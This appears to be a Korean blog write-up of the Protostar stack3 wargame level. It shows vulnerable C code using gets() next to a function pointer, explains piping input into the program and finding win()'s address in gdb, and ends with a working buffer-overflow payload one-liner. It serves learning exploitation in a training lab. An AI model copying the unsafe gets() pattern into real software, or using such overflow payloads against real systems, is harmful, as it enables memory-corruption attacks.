HACKING/[SYSTEM HACKING] PROTOSTAR

004. protostar stack3 | anxi0

ANX1Z3R0 2020. 8. 5. 15:27
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

슬슬 해괴한 코드들이 나오고 있다.

내가 overflow시킨 값으로 뛰고, 그걸 win으로 맞춰줘야 하는 것 같다.

어렵게 생각할 필요없다. gets에 값을 넣는 방법과 win의 주소만 알면 된다.

 

araboja.

 

[gets 함수에 값을 넣는 방법 (stdin)]

 

웬일인지 gets함수가 있는 프로그램은 ./stack3 `python` ~~~ 이렇게 공격이 되지 않는다.

여지껏 argv에 값을 넣던 방식과는 다르게 표준 출력으로 바꿔서 표준입력에 들어가게 해야한다.

자 해보자.

 

1. 세미콜론 ;

다중 명령어 실행 함수이다.ㅇㄹ

 

2. 파이프 |

앞의 명령어의 결과를 파이프 다음 명령어로 넘겨준다.

이렇게 cat python.txt한 결과를 넘겨서 python이라는 문자열을 낚아채준다.

반대로 

없으면 안 뜨지

이런식으로 쓰는거다.

그래서 

python -c 'print "asdf"';cat 하면 표준 입출력으로 변한다. 왜? cat이 쉘에 글자를 출력할 때 표준 출력으로 뿌리므로

이상태로 표준입출력 처리를 먼저 해주고(괄호를 치면 된다.), 그 값을 파이프로 stack3에 넘기면 되겠지?

따라서 탄생한 페이로드

 

정답이니까 볼래말래?

더보기

(python -c 'print "\x90"*64 + "win 주소값"';cat) | ./stack3

이렇게 된다

[특정 함수의 주소값 알아내는 법]

gdb로 일단 까라.

gdb -q ./stack3
(gdb) set disassembly-flavor intel

win을 그냥 disassemble해도 되지만,

정말 간단한print라는 gdb 명령어를 사용할 것이다. (줄여서 p)

 

ㅎㅇ

그냥 뱉어낸다.

저기 주소 넣으면 끝이겠네????

 

고려할 점

1. 표준 입출력

2. 변조할 win()주소값

3. 버퍼 오버플로우 할 양

4. 리틀엔디안

 

진짜 정답임

더보기

(python -c 'print "\x90"*64 + "\x24\x84\x04\x08"';cat) | ./stack3

Success